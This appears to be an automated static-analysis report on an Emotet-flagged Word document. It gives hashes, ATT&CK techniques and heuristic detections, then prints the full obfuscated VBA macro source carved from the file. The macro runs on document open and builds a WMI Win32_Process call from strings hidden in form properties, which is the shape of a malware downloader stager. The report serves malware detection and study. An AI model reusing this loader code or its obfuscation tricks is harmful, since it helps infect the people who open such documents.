Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 0033429b263b67e4…

MALICIOUS

Office (OLE)

184.0 KB Created: 2019-12-17 09:17:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 1e67916b198587c84e5ea290a53cc7d2 SHA-1: 15ce426c1baae2e36a75c1f4d532d1fa0a4c17d9 SHA-256: 0033429b263b67e4f436ffe2aaecb77de6b85ca9d6a4c7f8a37f320cdb0a8dd8
232 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. Heuristics indicate a hidden command stager using CreateObject and obfuscated code. The ClamAV signature also explicitly identifies it as Emotet. The VBA code is heavily obfuscated, but the presence of auto-execution and CreateObject calls strongly suggests it's designed to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    Bpilwmuv = Join(Split("qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_h2bdgmqwh_h2bdtsqwh_h2bd:Wqwh_h2bdinqwh_h2bd3qwh_h2bd2_qwh_h2bd", XXXXX), "") + Wilenkyrpsm.Dfxqdxuzioeik + "rocess"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Xskwtwymbv = VBA.CreateObject(Bpilwmuv)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9822 bytes
SHA-256: 1903b96a86f5973da5c17839e88d0078ac04084580972a592171487bd1dd8502
Detection
ClamAV: No threats found
Obfuscation or payload: likely
116 of 190 identifiers look randomly generated (e.g. 'qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Wilenkyrpsm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Dfxqdxuzioeik, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Coglgycj = Alneacpht To Gwuqrybqreopl
         Flpqcghs = Njndejvyhv
         Voabsuamwc = Wesdpqzdyedoo
Next
Select Case Usqeiltqaqb
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Fnwncizshz = Gmscyetn To Vixxxzkj
         Nbmshzwxuwbdz = Uwwxxajmcs
         Fkzhypdrfza = Ivscbsjzmcdnm
Next
Select Case Dokzukqnuodn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Blgakuvdzth = Brbnjdautifey To Eklrfxqczu
         Bsscvcsvvzb = Fvhdawmwmyph
         Bkobstnzcaf = Fcofjnwa
Next
Select Case Zzxetotdvf
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Thoaeemczckfb
End Sub

Attribute VB_Name = "Kbmqnjcrxios"
Attribute VB_Base = "0{30306738-B22F-4812-B5E9-3362E79DD173}{C307AF8C-2795-434F-92FA-B8C71C7CFB72}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Jbrhrcgux"
Function Ghmcamzgxvex()
   For Izksoxgrkora = Tqyxfwbnsohfa To Evztccjct
         Wybqvevuewst = Svhvkjwtmgtrh
         Jnfhlzclcsdj = Imbnujgcg
Next
Select Case Xdlvxdwzz
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Cheooqkui = Wilenkyrpsm.Dfxqdxuzioeik
   For Fejoyqwyvzyj = Sucvqatxschdi To Ucxsvhypgbxd
         Zfkaqxyopnv = Lhgvhdfbx
         Gsufwutxcjt = Crvugnjwwymiz
Next
Select Case Zlncdttydtr
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Usysbtrq = Cheooqkui + Kbmqnjcrxios.Xvahhitanf + Kbmqnjcrxios.Gytuaxyotbq + Kbmqnjcrxios.Mpsxvgixa
   For Wevkxwuwrgh = Zqlzhcyk To Khlupzckdjjuf
         Fzpxwsawd = Szzabdqfkdmbf
         Weurflbsbcj = Gklhnphdkc
Next
Select Case Dazetyjah
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Bvrwagrhmdgnq = Usysbtrq + Kbmqnjcrxios.Uqdnyoszrbls + Kbmqnjcrxios.Nzcyipuypw
   For Vwtmybcv = Mqlmegifmfjuq To Smryyncznrlp
         Xnenagoypxl = Oasaflsfolxlj
         Yvsrtposegp = Uxtmnnozu
Next
Select Case Ewkjbgbqw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ghmcamzgxvex = Aveawsvsqieoj + Bvrwagrhmdgnq + Aveawsvsqieoj
   For Fdbymxla = Zriancheidza To Zjwnfxkln
         Desaegduqa = Vgnzhxybekwyd
         Ubhodvpkxpddx = Beulahsxd
Next
Select Case Lgshuxdiisj
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
End Function
Function Thoaeemczckfb()
   For Jydbizeb = Jzmigqxgcydxc To Sqgvwlfybaoov
         Kuxohleq = Jzwralwnfpjy
         Mdakhsbb = Oizoikoa
Next
Select Case Mljhbpra
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
XXXXX = "qwh_h2bd"
Bpilwmuv = Join(Split("qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_h2bdgmqwh_h2bdtsqwh_h2bd:Wqwh_h2bdinqwh_h2bd3qwh_h2bd2_qwh_h2bd", XXXXX), "") + Wilenkyrpsm.Dfxqdxuzioeik + "rocess"
   For Cepynqfry = Lsjthhbjsj To Dnvnuyxqp
         Zfbncsle = Pkqmhnaqs
         Oxmlrdksbnwxq = Gtyqhfccocf
Next
Select Case Kxawldkhpcl
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Set Xskwtwymbv = VBA.CreateObject(Bpilwmuv)
   For Dbtzxoodpmfb = Vhlaetcjdboz To Zzrbnfhbss
         Mlkhfbfkiws = Lsuxskxuedqud
         Ntotiohrzw = Ujadgeccmne
Next
Select Case Uwihumcnw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Deggzgqcgyn = Bpilwmuv + Kbmqnjcrxios.Sqwravfcyymci.ControlTipText + Kbmqnjcrxios.Gqjsweoavtb.ControlTipText
   For Ubtnryxnm = Harvcmzplmme To Tnrrnimvl
         Wdmxilfbhki = Ezllkuhxkjy
         Wytiloggf = Rdbgdcukrc
Next
Select Case Walqdrmtnmc
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Hqfpuofhqba = Deggzgqcgyn + Wilenkyrpsm.Dfxqdxuzioeik
   For Bqnkamcg = Mywoajvys To Axalcaqmjop
         Lcrrzcdazrru = Hkszixma
         Yxmlutuxxe = Rezqvobgjrcwi
Next
Select Case Ohdfkjesbpr
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Set Thoaeemczckfb = CreateObject(Hqfpuofhqba)
   For Rlzsbpvqr = Kqddbmxbsht To Rgjdfbdlgyeuc
         Jtnmcxedbgx = Qyaxxbav
         Kqhedryiydhr = Hlanchxiwbuh
Next
Select Case Xbjudccvv
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Thoaeemczckfb.XSize = False
   For Sjbyjaumioy = Cophxbnlh To Uqnlmejwcnw
         Uqzxjjibeial = Akudkemdsnj
         Fchsfuvmh = Cxwnqimacoj
Next
Select Case Jlpirxmoj
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Thoaeemczckfb.YSize = False
   For Fnwbwydqx = Fekexmrzkbghy To Ryludebh
         Zeemysmtgdqe = Fraaeygydsgfe
         Sewijxhmnljuo = Nmrqomebddob
Next
Select Case Ftnjvoztww
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Do While Xskwtwymbv.Create(PPPP & Ghmcamzgxvex, Kqlyaolxaxrkx, Thoaeemczckfb, Pbpzknvckm)
Loop
   For Rwmwpjdytzs = Bkohgytdyilby To Golddcoj
         Dpyqpeai = Mbezzfls
         Uqdarfoo = Naedciunidlsb
Next
Select Case Ekleyrvvkim
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
End Function

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